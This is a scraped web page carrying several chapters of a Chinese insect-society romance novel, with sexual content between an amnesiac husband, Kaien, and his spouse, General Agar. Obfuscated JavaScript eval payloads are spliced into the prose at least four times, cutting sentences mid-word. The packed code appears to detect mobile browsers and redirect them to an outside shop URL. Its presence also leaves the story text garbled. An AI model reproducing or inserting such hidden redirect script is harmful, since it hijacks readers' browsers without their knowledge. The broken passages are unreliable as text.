凯恩深深地吸了口气,又慢慢的吐出来,仿佛做了一个非常郑重的决定。 “那就罚你,再和刚刚那样,主动地、热情地、亲吻你的雄主一次,阿加尔上将。” 他说的又轻又慢,但是每个词发音都很清晰。每一个形容词都被他说的好像某种不可违逆的标准,而标准的尺度则握在他自己手里。 “来。现在。” - 阿加尔抬起头,凯恩点了点自己的嘴唇,正等着他进一步的动作。 雌虫结实的肩背紧绷了一瞬。 凯恩披散着长发,居高临下俯视着他。那张脸呈现出一种极具压迫感的俊美,薄而艳丽的嘴唇又仿佛柔软的花瓣。 雄虫分明可以对脚边的雌虫严厉地施与疼痛。 但他要求了一个吻。 - 雄虫已经发出指令,他也不应该违背。 阿加尔深深吸了口气,闻言利索地起身,重新坐到了凯恩身边。 他似乎习惯于在接吻的时候闭上眼睛,此刻那双漂亮的绿眼睛又重新闭上,仍然和刚刚一样,试探着吻住了凯恩的唇。 - 或许阿加尔还有点紧张。凯恩把手搁在阿加尔的腰侧,似乎能感受到掌下肌肉缓缓绷紧了。 但唇上的触感仍然是鲜明的。 凯恩稍稍松开了牙齿,允许了阿加尔莽撞冒失的舔舐。 仿佛一点火苗在接触的丁点皮肤上燃烧,热度飞快蔓延到脸颊。呼吸变得急促,手掌也本能地收紧。 然后是进一步的试探,迎合,生涩的主动讨好,直至最后依依不舍的彼此分开。 - “如果你的一切都需要你的雄主管束的话……” “记住今天的感觉好吗?阿加尔上将。” 亲吻结束的时候,凯恩抬起手,极其自然地抚平了阿加尔制服上的一道褶皱。 “去吧。”他冲阿加尔点点头。“和你的医生拿一个治疗计划来。我们循序渐进。” 5. 05.“选一个你最喜欢的。” 凯恩抚上阿加尔的制服时,阿加尔几乎有种错觉,是不是凯恩想要就在病房使用他。 但凯恩接下来就轻描淡写地把他打发出门,一点多余的动作都没做。 也许凯恩只是想独处一会。 但阿加尔当然不能把他的话戳穿,这也是阿加尔离开病房,重新回到医疗部的原因。 - “足量的信息素可以帮你脱离这种状态。显而易见的事情。”雌虫医生说。 “你说的当然有道理。”阿加尔意味不明地眯起眼睛,露出一副若有所思的样子。 “但……如果就这样转告给雄主的话,听起来有点像找借口。” 雌虫的顾虑听起来也很有道理。 - 终端屏幕的光还亮着,凯恩眯着眼睛,检查自己的终端。 关于阿加尔居然和他是伴侣……这件事情实在是没什么真实感。 但既然是伴侣,彼此之间想必也会有交流。 他正在私虫终端检查这种交流的痕迹。 也许能帮助他恢复记忆呢? - 可惜阿加尔和他之间好像没什么多余的记录,也许有什么话他们彼此都当面说过了。 但关于原本没有的,多出来的痕迹,似乎也不是完全没有。 比如凯恩检查了自己的购物记录,在里面看到了一对结婚戒指的订单。 为雌虫花费这种心思……听起来实在不像他会做的事情。 - 凯恩回过神,自嘲地一哂。 阿加尔都拿着皮肤饥渴症的病历给他了,他们恐怕也是没有多少亲密接触的时光。 再不安排点这种形式主义的外在,这个婚姻还能怎么表现出存续。 也许应该叫阿加尔来,看看他的私虫终端才对。 - “你们商量完了?要怎么安排比较合适?” 凯恩还在检索着自己的终端、思考其中留下的死对头的痕迹,阿加尔已经敲过门走了进来。 他心里多有疑惑,但在此刻他很好地掩饰了起来,只是平静地询问阿加尔。 “请您过目。” 阿加尔垂下眼睛没看他,双手给他递上一个画着整齐表格的终端。 - 原本阿加尔觉得自己会非常非常羞耻。 毕竟他需要把这样的渴望全都告知凯恩,向他提出索求,期待他的垂怜。 但凯恩还在失忆的状态……身为雌君,说得详细一些应该也是理所当然的吧。 心里再是惊涛骇浪,阿加尔表面还是冷静而面无表情的。 “您对这个安排有什么疑问吗?可以告知于我。” - “挺好的。”凯恩轻轻一笑,屈起手指弹了一下终端屏幕。“要不是我现在还在医院,未必有这么多时间跟你完成这个。” 他稍稍扫一眼就看明白了阿加尔的表格。 简而言之,此治疗皮肤饥渴症的表格的基本准则是:满足阿加尔的需求,让他有可能摄入更多雄虫信息素,保证阿加尔被治疗状态时候的正常运转。 “时长这么严格啊……”凯恩假装若有所思的样子,拿着终端冲阿加尔歪头。“那如果我累了,没能完成你的计划,你要怎么办?” - 阿加尔能感觉到凯恩其实是逗他玩,想听他说点那种尺度颇大的话再假装斥责他这类。 他觉得自己应该好好配合。 但在这样的时候,又担心自己实在太无趣了,勉强说几句也并不能让凯恩满意。 雌虫深吸一口气,绿眼睛认真地看向凯恩。 “如果雄主允许的话……” 低沉的声音似乎隐约微微发颤。 “我想要自己来,直到完成计划内容。” - 凯恩应了一声,也不知道答应了还是没答应。 “我现在不方便挪动,你等会儿出去,帮我收一个投送的快递。” 听起来,凯恩很快就转移了话题。 雄虫的语气十分理所当然。 “当然,我去取。……但您是缺什么用品吗?”阿加尔问。 - 身为雌君他居然没能好好照顾凯恩,让他还要自己在星网上下单购买,这似乎也是很需要道歉的事情。 他眨巴眼睛,犹豫要不要再道一次歉,凯恩却已经回答了他。 “不缺什么啊。”雄虫似乎含着一点笑意。“我都住院了,天天躺着被照顾,能缺什么东西?” “——是为你下单的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285851|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他眼里似乎闪烁着一点恶趣味的光芒,拉长了语调,像诱哄似的。“你拿到的话,可以自己拆开看看。” - 雄虫为雌虫下单……能是什么东西呢。 虫族社会在这方面颇为开放。雄虫想要满足自己的需求的话,在星网上下单同城急送也是非常方便。 甚至如果凯恩现在不是躺在床上的话,他可以走到医院楼下,亲自去楼梯口自动售货机里挑选购买,当场就能拿到。 至少……至少凯恩还是给了他缓冲的机会。 他允许阿加尔收货之后先提前查看,那意味着雌虫可以针对收到的东西做好准备。 - “发呆什么?”凯恩笑着说。“消息提示已经送到了。去吧。” “如果愿意的话……你可以选一个你最喜欢的,我们今天就试试。” 他成功的看到阿加尔脸上染上一片红晕,然后快活地笑起来。 - 有那么高兴吗?阿加尔想。 但也许凯恩失忆之后,对他的看法也有所改变。 从前凯恩对他纵然温和但也多少有点距离感。现在凯恩对他有欲望,想要在他身上进行探索……换句话说,也算是更亲密了点。 雌虫能和自己的伴侣更亲密一点,当然算是件好事。 - 但直到亲手拆开那个包裹,阿加尔才意识到凯恩在笑什么。 那是他意识到了阿加尔误解了,却不肯当场解释这种误会,看着自己的雌君神色变幻,面上染上害羞的红晕,以此为乐。 包裹里是一个礼盒装的身体乳套组,拆开来看,整整齐齐的五种香型。 阿加尔又仔细核对了一遍,确保这就是凯恩想要的。 - “选一个你最喜欢的,我们今天试试。” 凯恩的声音仿佛还在耳畔。 雄虫分明是体贴他,想要缓和他的皮肤饥渴症,又借着“涂抹身体乳”这件看起来更单纯的事情来避免生出更进一步的灼烫渴望。 “选一个最喜欢的”,自然也是指的身体乳香型而已。 阿加尔深吸一口气,只觉得体温升高腰也发软。 他用力咬紧牙关,强迫自己保持冷静,继续仔细看起礼盒里的小标签。 6. 06.这样更顺手。 凯恩才挂断和副官的通讯,阿加尔就从门外径直走了进来。雌虫似乎有点走神,微微皱着眉头,也忘了对凯恩说那些莫名其妙的客套话。 其实看阿加尔说那些还挺好玩的,而且阿加尔的神情也很有趣,有点像他被迫和自己扮演一对伴侣。 但难道是碰到了很为难的事情吗?凯恩忍不住想。 - “选好了吗?怎么这么久,”凯恩往床头一靠,顺手把终端屏幕划到星网资讯模块,病房的光线被终端投影染得斑斓。 其实他身上还穿着松垮的病号服,但姿态仍然是高高在上的,仿佛仍然控制着一切。 看到阿加尔进门他神色似乎很愉快,对他眨了眨眼睛,故意一副暧昧姿态。“来吧阿加尔,给我看看,你选了什么?” - 阿加尔默默上前,把手里的东西交给凯恩。 类似礼盒的包装被他重新合拢,而被他挑选出来的那个香型被抽出来单独放置。凯恩顺手把盒子放到一边,接过阿加尔给出的选择,非常刻意地举起来看了看,又看了看阿加尔。 “唔。是橙花。” 凯恩揭开盖子,就这样在自己手上抹了一点,抬手嗅了嗅。 “有点凉凉的感觉,但是皮肤温度又会让它变得很温暖……我喜欢这个味道。” 阿加尔不说话,凯恩就自顾自地继续说。 “如果阿加尔也散发着这样的香气的话……” 他饶有兴致地停下来,看着阿加尔。“也许我会忍不住给你更多的亲密接触呢?” - 阿加尔进门前还记得把病房门反锁了,好像早已预料到凯恩打算做点什么。 雌虫沉默地在凯恩床边坐着,绿眼睛安安静静望着雄虫,仿佛等待下一个确定的指令。 他不是那种擅长调情的性格,也许他更希望服从某套固定的标准,即使只是凯恩随心所欲制定的标准。 - 凯恩看着他,他也看着凯恩,橙花身体乳的香气弥漫在他们周围。 “或许你想先换身衣服?”凯恩提议。 “您希望换成什么?”阿加尔低声问。 凯恩意识到了什么,而阿加尔垂下眼睛,神情温驯得有点不像他。“您以前……会喜欢我穿这身,雄主。” - 以前喜欢吗?凯恩因此莫名其妙地走神。 “以前”就像那种雪花水晶球摆件,大家都知道它在那里,但偏偏只能观看,不能触碰。尤其对于失去记忆的现在,这种回溯过去更是让凯恩感到一阵怅然。 好像失去了一部分自我,又或者面对了一个无法验证的难题。 凯恩深吸一口气,阿加尔还垂着眼睛。 “是很好看。” 凯恩伸手轻轻卡了一下他的腰侧,感受到手掌中薄而柔韧的手感。 “不过我觉得有点儿不方便。你去换一件浴袍来吧。” - 阿加尔对此没有提出什么异议。 虽然凯恩没有明说什么不方便,但凯恩想做什么他都会顺从的,所以也不需要明说了。 他换衣服也没避着凯恩,直接从病床边起身,一点也没犹豫就开始解扣子。 凯恩得以看到阿加尔身上遍布的虫纹。雌虫结实的肌肉随着他的动作绷紧或者放松,看起来有种非常和谐的美感。 - “行了。阿加尔。” 在阿加尔几乎快跟凯恩坦诚相对之前,凯恩提前叫了停。 “来吧。”他拿着那支身体乳,点了点自己的身边。“到我这里来。” 这下浴袍也不用穿了。阿加尔胸口起伏片刻,随着凯恩的动作凑近他身边,神情似乎还有点紧张。 - 橙花香气弥漫,雌虫压抑着急促的呼吸,而凯恩的神情仍然安之若素,仿佛一切尽在掌握之中。 不过实际上也确实是一切都在他的掌控之下。 “坐近一点。”他点了点自己的大腿。“跨上来坐,和我面对面。” “这样我顺手一点。” 从涂抹身体乳的角度看,好像确实这样更合适。 - 这个姿势当然也是阿加尔熟悉的姿势,婚后凯恩经常和他这样面对面地亲昵。 他不意外凯恩会这样要求。 虽然那时候凯恩的理由是“这样能看清表情”。 阿加尔脸上莫名有点发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285852|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烫。他抬起手用力揉了一把脸颊,以作缓和。 现在凯恩身上还穿着病号服,他还没有完全恢复,怎么说也应该谨慎一点才对。 “我担心压到您。”他犹豫着。 - 凯恩又轻轻笑了一下。 他受伤之前也是S级机甲驾驶员,虽然是雄虫,但他的身体强度也不至于被坐一下就被压到。 而且他身上也没有伤。这种跨坐的姿势也压不到他的头才对。 但他看着阿加尔的神色,又不想提醒他这一点了。 就让他这样小心翼翼地呵护自己,似乎也挺有意思的。 - “那你不要完全坐下来就好了。” 雄虫漫不经心地提议。 “我相信你。以阿加尔上将的腰部力量,应该有能力支撑得住的吧?” 他看起来对阿加尔无比信任,把一切都寄托在阿加尔的自律上。 - 凯恩轻轻晃了一下头,深蓝色的长发散开。他和阿加尔对视,阿加尔几乎觉得要被他的目光烫一下。 凯恩会满意他看到的一切吗? 阿加尔抬起手,仿佛无意识下的肌肉记忆那样自然地动手,帮凯恩把一绺长发夹到耳后。 手指若有若无擦过凯恩的脸颊,阿加尔连手臂都绷紧了,半晌才吐出一口气。 - “是的。” 阿加尔垂下眼睛,喉结滑动,绷紧了身体。 他能感觉到自己答应的时候声音低哑,好像不够好听。 其实在得到凯恩的抚触的时候他应当放松一些的,这种紧绷的状态不适合接受安抚。 但他当然无法拒绝凯恩。尤其是当凯恩对他说了“我相信你”的时候。 - 微凉的膏体蹭上火热的皮肤,手掌轻柔地推开,橙花香气弥漫开来。 凯恩没有多做预告,直接就开始了自己的动作。 第一下抹在雌虫的锁骨上,那里有一道形状绵延向下的虫纹。 它在阿加尔穿着高领内搭的时候并不明显,日常社交距离无从得知。但此刻它毫无遮蔽地展现出来,也就勾引着雄虫的目光顺着它一路向下。 7. 07.“我想在这里。” 身体乳被凯恩玩弄似的抹开,然后在皮肤上渐渐消失。 香气弥漫,皮肤触感光滑,阿加尔觉得自己就像一个制作中的奶油蛋糕。 而凯恩对装饰他颇有兴致,力度轻柔近似撩拨,无比体贴地一寸寸拂过每寸皮肤。 身体因为过分的紧绷而微微发颤,但又无处可以支撑,只能咬紧牙关强行忍耐。 - “感觉怎么样?” 凯恩的指腹划过阿加尔结实的手臂,然后手掌覆上,缓缓问。 “……雄主。” 阿加尔像是想说什么一样,抬起湿润的眼睛望着凯恩。 但他只念了一声,又抿起了嘴唇,仿佛担心自己的失言。 凯恩手掌的力度加大了一点,轻轻压下,让那里的肌肉因为揉按而微微变形。 “还想要吗?想要就说。” 他含着笑意,仿佛对阿加尔许诺什么更慷慨的东西。 - “……想要。”阿加尔声音发颤。 他一时羞赧于自己对凯恩表露出这样的渴望,一时又觉得面对雄主应当坦诚相待。 两种思维交错拉扯,导致他控制不住自己发音的稳定。 “喜欢您……这样。” 阿加尔能感觉到自己的额上似乎沁了点细汗。 - 凯恩对信息素不太刻意控制,现在房间里似乎能嗅到若有若无的雄虫信息素气息。 阿加尔身为凯恩的雌君,对这种气息格外敏感。即使他心知肚明凯恩不是刻意撩拨他,他也还是因此冒出一点情动的感觉。 应该掩饰一下吗? 还是继续请求凯恩,直到他来了兴致,允诺他更多呢? - 凯恩在橙花味的香气里有点走神。 阿加尔对他的触碰看起来接受良好,但和他想象中的又不太一样。 他以为会看到一个极度渴望又极度压抑的死对头,没想到他看起来沉默而温驯,只是在凯恩手掌挪动的时候小心地配合一下,没有任何其他多余的动作或者声音。 又或者这就是阿加尔最习惯的隐忍状态。 - “您可以允许我……取悦您吗?” 阿加尔声音又低又哑,几乎听不出到底是愉悦还是难耐。 他抬起手,蓦然抓住凯恩的手,用力按在自己的小腹上。 那是凯恩以前喜欢触碰的位置,绷紧的时候有结实的力量感。凯恩会像他现在这样力度稍重地按在上面,仿佛跟他较劲,却又让他说不出的渴望。 那双绿眼睛此刻也笼罩着雾气,朦朦胧胧的,恳切地望着凯恩。 - 凯恩没拒绝,只是安静地看着他。 那就是同意了,阿加尔想。 实际上取悦雄主也是他应该做的事情。都不需要询问,直接做了就行。 也许是受伤之后的状态比较微妙,才会让他本能地不敢造次。 雌虫的手掌顺理成章地下探。 - “……松手。” 凯恩自己好像也变得晕晕乎乎。 他的声音低低的,虽然说着推拒的话,手却还搁在阿加尔身上,好像本能挽留他似的。 熟能生巧还是天赋异禀? 还是记忆丢失了,身体却仍然残余了一些潜意识,导致这件事的体验得到了加成。 - “那,要用嘴吗?” 阿加尔的神情认真而诚恳,好似一种理所当然的交换。 他应该这样吗,这是阿加尔会说的话吗? 凯恩视线模糊一瞬。手掌抚过灼热皮肤,恰巧碰到一处虫纹。大概是阿加尔已经要进入某种难以启齿的状态了,雌虫的虫纹明亮着灼烧皮肤,稍稍碰到都觉得烫手。 应当答应他吗? - 视线逐渐变得一片空白。凯恩仰躺下来,望着天花板。灯光在他眼中似乎也微微晃动,边缘晕开虹彩般的光亮。 他听到明显而清楚的喘息声,仿佛潮汐来去,一时急促一时又和缓。 他意识到那是自己的喘息。现在是不需要他压抑的状态了,他可以尽情地散发信息素,而这恰恰也是身前的雌虫期待着的。 又或者说,阿加尔完全地包容了他的全部反应。 - 阿加尔喉结轻轻滑动,还没来得及做出什么反应,已经落入一个温暖的怀抱。 身为雄虫,凯恩的身量当然不如阿加尔。抱住阿加尔的时候反而有种把自己送进他怀里的感觉。 阿加尔控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285853|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制不住地颤抖起来。 大概皮肤饥渴症就是这样,得不到安抚的时候焦虑躁动,得到之后却也无比难耐。 “雄主……”他只能念着对方的名字。“凯恩……雄主……” - …… “哭什么。弄疼你了?” 凯恩的神情仿佛覆了一层薄霜。他看着阿加尔,手上稍稍用了点力,拽了他头发强迫他稍稍退开一点、跟自己对视。 “……只是,只是……太舒服了,有点受不了……” 阿加尔呜咽着,汗流得仿佛从水里捞出来。 …… - “我晚上,留下来陪您吗?雄主。”阿加尔问。 他此刻还几乎半裸着,浑身都散发着十分好闻的橙花香气,和凯恩手上的气味闻起来一模一样。 脸上的泪痕似乎被他随意地抹掉,眼角却仍然湿红,一副被欺负了还没恢复的样子。 “如果你很忙的话,可以不用。”凯恩挑了挑眉毛,擦干净自己的手。 - 阿加尔微微皱着眉头,凯恩意识到自己好像跟他莫名其妙客气了一句。 他的身体似乎已经回忆起身为阿加尔雄主的滋味了,但认知还没来得及完全扭转过来。 所以才会讲出如此体贴又如此有距离感的话。 不过没关系,重建一下身为雄主的认知也不错。凯恩又想。阿加尔既然选择进入婚姻,当然也要学着适应雄虫多变的心思和反复无常的指令。 这都是他应该做的。 - “当然,我还是希望你留在身边的。” 有些话没必要说清楚对方就能理解,但清清楚楚说出来了的话,就更有一番滋味。 凯恩心里想的是这样也许能让我快点想起来,但表面上闭口不言,只是意味深长地望着阿加尔,仿佛对他有多么眷念一样。 至于阿加尔愿意怎么理解,那是阿加尔自己的事。 - 如凯恩所料,阿加尔果然很吃这套。 又或者他只是单纯迷恋雄虫的脸。 他神情蓦然有些酸楚,好像有很多话想说出来似的。 “……我想在这里。”他盯着凯恩的脸,保证似的说。“我一直在您身边。” 8. 08.允许你抱紧一点。 “所以今晚你要和我一起睡在病床上吗?”凯恩觉得很有意思似的,突然问。 “……您不允许吗?”阿加尔停顿了一下,带着一点若有若无的鼻音轻声问。 凯恩笑起来。“没什么。”他说,“只是觉得你有一点可怜。” “?” 阿加尔脸上还有被满足之后的茫然,神情空白了几秒。 “极夜星系不该是你的地盘吗?”凯恩伸手摸了一下他的脸颊,仿佛碰一碰什么小动物。“怎么还要和别虫挤在病房里。” 好像很可怜的样子。 - 阿加尔知道自己还在缠绵亲密之后的类似不应期的状态,反应会更慢,面对凯恩的时候言行举止可能也没那么恰当。 但凯恩用“别虫”这种词,听起来就像他和自己并非一对伴侣似的。 和自己的雄主挤在一起算是可怜的事情吗? ……凯恩应该不是那个意思。 - 他的思维不由自主地发散,想到某些他们都还在学校时候的场景碎片。 那时候他没多少和凯恩亲密接触的机会,也不知道怎样才能让凯恩的目光多在自己身上停留一会儿。 而他们的名字总是被一起提起,却又并不是他所期待的那种提法。 至于在雌虫宿舍床的尺寸上塞下一位成年的雄虫阁下?简直连作为做梦的内容都嫌太冒犯。 应该是雄虫自己会觉得委屈才对,只是凯恩不想直接说出来。他失忆了还是那种温和体贴的雄虫。 阿加尔觉得自己理解了这一切,并且应当做出反应。 - 阿加尔停顿片刻,好像在思考措辞。 “您说得对,我也觉得这里有点太小了。”他状似非常严肃,吐字清晰。“虽然空间很大,但是都被那些检查的仪器占满了,实际上的活动空间只有这么一点。” 凯恩眨眨眼听他讲。 病虫需要活动空间吗?感觉有点像讽刺。不好说,再听听。 “请您稍等片刻,我去找虫布置一下,然后给您换到最大的房间。好不好?” 什么最大的房间,这又是在说什么,他不会为了履行自己讲出的怪话而往此医院的大会议室里放张床进去吧? - “睡懵了?”凯恩竖起一根手指按在唇边,说。 阿加尔和他对视,漂亮的绿色眼睛缓缓眨了眨。 “我可是你的雄主。”凯恩提醒他。 阿加尔没明白凯恩此刻强调这个是为什么,但他立刻睁大眼睛。“雄主有什么吩咐?” “好好讲话。”凯恩说。“我是那种喜欢对你提出过度需求的雄虫吗?需要你这样大费周章地伺候我。” - 这么说听起来好像有点虚伪。 毕竟雄虫就是乐于追求感官享受的生物。想睡在更宽敞更舒服的地方简直是骨子里透出来的本能。 但凯恩确实又没有让阿加尔这样折腾的打算。 以他的判断……自己大概很快就能和阿加尔回家。 - 凯恩看着阿加尔。 后者的眼神看起来似乎有点飘忽,凯恩怀疑他从“过度需求”里又想到了什么。 虽然凯恩什么都记不起来,但其实能料想到,大概也就是那些……放在伴侣之间天经地义的内容。 “您确实不怎么向我提要求。”阿加尔好像从那种懵然的状态恢复了。他干咳一声,脸上带了点红晕。 “只是我身为您的雌君,想要满足您,想要让您舒服满意……而已。” 他的语气深情款款,仿佛能满足凯恩提出的任何过分的要求。 - 好吧!凯恩想。真的假的,阿加尔面对自己伴侣的时候讲出此等甜言蜜语,倒是非常有利于伴侣和谐的习惯! “嗯。”凯恩笑了一下,“阿加尔上将睡过这么窄的床吗?允许你抱紧我一点,免得不小心掉下去了。” 给雄虫的病床当然不会很宽。倒不是刻意要让养尊处优的雄虫阁下不能乱动,只是太宽的话多少会影响医务组操作。 让雄虫躺在床上的时候还有点病中的脆弱感,再加一个结实的成年雌虫,似乎就太过局促了。 - “你的雄主对你如此慷慨,你高兴得说不出话了吗?” 凯恩似乎对自己的安排十分满意。阿加尔看着他,他就含着一点笑意,轻轻合拢和阿加尔十指相扣的手掌,作势轻轻捏了捏。 确实是非常慷慨的安排。 雄虫对和雌虫的亲密接触一般没有雌虫对雄虫那么大。何况是目前失忆了、对伴侣关系还没那么习惯的雄虫,和一个比一般雌虫更需要亲密接触的皮肤饥渴症雌虫。 而关于那种拥挤的不舒适感,雄虫可能会感受得更甚。 “不是。”阿加尔垂下眼睛,没和凯恩对视。 “我很喜欢。……只是您不用这样纵容我。” - 凯恩未必觉得这是什么大事。 他大概也不会和阿加尔计较,甚至不会觉得这种不舒适算委屈自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285854|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果强硬拒绝的话,简直是不识好歹。 但如果像现在这样……又很像欲迎还拒。 阿加尔想找到一个合适的语气尺度,但一时似乎也没有成功找到。 - 阿加尔好像非常习惯于反思自己,时不时就会被“雌君理应这样”和“雌君不可以这样”的概念框定。 于是凯恩伸手,抓住他的手,慢慢和他十指相扣。 “要雄主哄你才肯来?这么娇气。” 阿加尔还没懂雄虫的逻辑如何,凯恩已经突然凑近,在他耳边轻轻吐息。 “阿加尔——不和我一起睡,你还想怎么陪我?想像小动物一样睡在床边地上吗?还是坐在这个床头坐一晚上不睡?” - 高等级雌虫一晚上不睡也没什么大不了的,况且可以挨在离雄虫这么近的地方。 连惩罚都算不上的普通的安排。 但从凯恩的语气来看,明显他觉得这是一个很糟糕的选项。 阿加尔似乎又嗅到了若有若无的信息素的气味。这让他又油然而生一股心口发热的感觉。 而凯恩还在继续讲。他漂亮的眼睛专注地望着眼前的雌虫,以至于调情般的内容都显得无比诚恳。 “——病房里这么冷。你的雄主需要你的怀抱啊,阿加尔。” - 阿加尔似乎还想说点什么,凯恩已经抬起手,按在他的嘴唇上。 “嘘。”他说。“刚刚做过亲密接触,现在睡得近一点的话,也许晚上我们会互相梦到对方。你不好奇吗?” 的确是有这个说法。阿加尔想。 但凯恩此前好像不大跟他交流这样的事情,他也不知道自己梦到凯恩的时候会不会也被他梦到。 被他梦到的话算好事吗? 梦作为潜意识控制的内容,可能他没办法正常克制自己。如果梦到自己过分需求的场景的话,凯恩会生气吗? - “再磨磨蹭蹭,你的雄主就要改主意了。” 凯恩好像觉得很有意思似的,收回手指,却又手腕一翻,轻轻端起阿加尔的下巴。 有点类似调戏的姿态。 “乖一点。换件舒服一点的睡衣,然后到我身边来。” 阿加尔还没想好什么叫“舒服一点”,是更柔软亲肤一点,或者更敞开、露出的皮肤更多一点,又或者其实是更方便伸手探入一些……还没来得及问,凯恩就继续说下去了。 “否则……” “你就全部脱掉,直接来伺候雄主吧。” 9. 09.“——扣你的治疗时间。” 凯恩和阿加尔就“舒服的睡衣”定义讨论了几句。 凯恩讲这种话的时候神情自若,态度一本正经,仿佛这完全是一个正直的话题。 但阿加尔还是被他说得脸上发烫。 - 当然,最后睡衣还是穿上了,出于凯恩自己的要求。 虽然从阿加尔脸上的表情看,他好像也在期待着另外一种选择。 但凯恩还在适应自己的“雄主”身份,本能地想装得正直一点,不太想凭恃自己的身份让阿加尔纵容自己。 - “您希望,梦到我吗?” 阿加尔躺下之前,忽然又问凯恩。 他此刻是一个俯视的姿态,长发从肩上滑落,在脸边又晃了晃。 即使是这种奇怪的角度……好像也很有吸引力。 于是凯恩挪开了视线,狡猾地转移了话题。 “表现好一点。”他抬起手,轻轻拍了下阿加尔的脸颊,掌心还有橙花的香气。 - “要是我没满意的话……” 凯恩说得好像这种梦境里偶然的共梦是阿加尔可以控制的事情一样,如此理所当然而又不讲道理。 但他收回手的时候,阿加尔情不自禁地靠近,好像多过分的要求都会完全听从。 “嗯。”阿加尔发出柔和的鼻音,发丝垂落,嘴唇在雄虫额头上轻轻一碰。 - 凯恩被他微凉的嘴唇吻得有点心软,感觉好像被什么小动物亲昵地蹭了一下。 “现在讨好我有点晚了哦。”凯恩强调似的。“如果你没能让我满意的话……” 他停顿了一刻,阿加尔含着笑意看他,等着他继续说下去。 漂亮的绿眼睛波光潋滟,凯恩被他看得有点心软。 “——扣你的治疗时间。”凯恩竖起一根手指,在阿加尔唇上一按。 - 阿加尔觉得他在调情,并不把这当成一句威胁。 他不得不承认,在凯恩停顿的那几秒,他想到了非常多常规情况下雄虫可能出言的威胁。 可能是露骨的,疼痛的,让他咬紧牙关或者是心跳加速的……但如果是由凯恩施予,似乎也都值得期待。 但凯恩又一次向他展示了自己。 他本来就不是那样的雄虫。大概也不会有观看雌虫的不适然后以此为乐的想法。 - “应该的。”阿加尔说。 他慢慢放低身体,滑进被子,展开自己的手臂环住凯恩。 凯恩默然无语,随便他摆弄,于是他摸索着抓住了凯恩的手掌,顺着衣服的下摆按在自己身上,然后重新环住凯恩。 一个不那么紧的拥抱。皮肤的热度隔着衣物熨上来。手掌老老实实地隔着,存在感鲜明,却又像天然就应该呆在那里。 “原谅您的雌君……不太聪明。”阿加尔闭着眼睛,嘴唇轻轻动了动。 “要是您生气……尽管惩罚我。” 而他的雄主没有给他回答。只是那只搁在他身上的手掌轻轻蹭了蹭,掌心拂过某条隐约发热的虫纹。 - 凯恩对自己的判断十拿九稳。 他是高等级雄虫,虽然婚姻相关的记忆有所缺失,但对精神力的掌控仍然非常成熟。他料到自己能和阿加尔共梦,并且从中观测到某些和阿加尔的婚后相处。于是他确实成功连接了阿加尔的梦境。 但在梦中睁开眼的时候,他又觉得有点无语。 他看到的是过于熟悉的场景,并不如他想象中那样是已婚状态的雌君。 他和阿加尔回到了他们曾经一起就读过的学校。 - 身为雄虫,凯恩习惯了和自己较劲。读书的时候大量时间被花费在机甲训练室。这里几乎是他最熟悉的地方。 换气系统工作带来低沉的嗡鸣声,空气里带来丝丝缕缕的凉意。雌虫们一般不甚在意,但雄虫的感官很敏感,这种声音显得格外清晰。 凯恩自己的作战服只拉开了一小半,露出沾满汗水的皮肤。长发黏在脖子上,他抬手抓了一把,把它松垮地挽起来。 而站在他眼前的阿加尔几乎已经半裸上身,虫纹蜿蜒蛰伏,还没来得及留下伤疤。 - 凯恩第一反应是垂下眼睛,毕竟是异性同学,即使这样裸露出来的皮肤算不上隐私,多少也要避嫌。 但他很快又抬起头。 毕竟这里是梦境中,对方是他的合法伴侣,只是稍微看一眼……感觉也不是什么大事。 - “你为什么在这里?” 凯恩仰起脸看阿加尔,顺手把擦了汗的毛巾往旁边一丢。 理论上来说,就算他自己不介意,好像也不应该和阿加尔在一个密闭环境里换衣服。 毕竟雄虫的汗水即使仅仅含有微量信息素,也仍然可能影响到雌虫。 年轻的阿加尔的目光跟着他动作落在一边的脏衣篮。他神情很平静,开口的语气很淡,看不出说话的时候在想什么。 “这是我的休息室,凯恩。” - 回到学校后我莫名其妙占用了死对头的休息室。 